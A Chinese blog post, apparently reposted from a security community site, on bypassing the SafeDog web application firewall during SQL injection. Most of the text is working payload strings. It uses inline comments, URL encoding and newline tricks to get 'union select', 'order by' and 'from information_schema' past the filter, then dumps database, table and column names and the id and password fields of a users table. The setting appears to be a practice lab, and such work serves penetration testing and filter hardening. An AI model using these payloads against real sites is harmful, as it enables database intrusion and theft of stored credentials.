zkpyr02023-07-21文章来源:SecHub网络安全社区
| payload | 结果 |
|---|---|
| and | 未拦截 |
| 1=1 | 未拦截 |
| and 1=1 | 拦截 |
如图:



说明只有and和1=1在一起时安全狗才会拦截,那就需要干扰安全狗将and和1=1使用一系列注释和特殊字符分开
/*!and/*/**//*!/*!1=1*/

安全狗拦截了and,or,&&,||
但是使用url编码即可绕过and=>&&=>%26%26,or=>||=>%7c%7c
%26%26 1,%26%260,%7c%7c 1, %7c%7c 0均拦截
1可以替换位True,0可以替换位False,绕过
Xor True 和 Xor False也可以绕过
例子:
/*!and/*/**//*!/*!1=1*/
| payload | 结果 |
|---|---|
| order | 未拦截 |
| by | 未拦截 |
| order by | 拦截 |
如图:



内联注释 /*!*/ 不加叹号就是注释,加上叹号会执行后面的语句
空格可以用加号代替
order /*/ -- /*/ by 3会被拦截

加版本号也会被拦截
order /*!50726by*/ 3%23 order /*!50726by*/ 3 --+ 也会被拦截

/*/!**/当作空格可以绕过

用/*/!**/当作空格可以绕过
oreder by中间加上 /*/ /*/%20 /*/ /*/
例子:
order /*/ /*/%20 /*/ /*/ by 3
order/*/!**/by/*/!**/3
| payload | 结果 |
|---|---|
| union | 未拦截 |
| select | 未拦截 |
| union select | 拦截 |
如图:



union /*//--/*/ select 1,2,3 --+

union /*//*//*//*/ select 1,2,3 --+

?id=1'%20 union/*/!*!**/select 1,2,3 --+

?id=1'%20 union/*!--+/*%0Aselect 1,2,3*/ --+
可以利用–+%0a这种格式通过换行继续执行

?id=1'%20 union/*!--+/*%0Aselect 1,2,3*/ --+
?id=1'%20 union/*/!*!**/select 1,2,3 --+
union /*//*//*//*/ select 1,2,3 --+
union /*//--/*/ select 1,2,3 --+
被拦截

1' union/*/!*!**/select 1,database/*/!//*/(),3 --+

database()version()和user()绕过可以
在()前面加上 /*/!//*/
?id=1' union/*/!*!**/select 1,group_concat(table_name),3 --+
只需绕过 union select即可

?id=-1' union /*!--+/*%0aselect/*!1,2,*/ group_concat(schema_name) /*!from*/
/*!--+/*%0ainformation_schema./*!schemata*/ --+
这个就是需要多绕过from和 information_schema.schemata
使用内联和回车绕过

?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from/*!-- /*%0ainformation_schema.tables*/ where table_schema='security'--+
绕过方式与拿全部库相同

?id=-1' union/*/!*!**/select%201,2,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns*/ where table_name='users'--+

?id=-1' union/*/!*!**/select%201,2,group_concat(id,password)from/*!--+/*%0ausers*/--+
绕过 union select 和 from 以及users
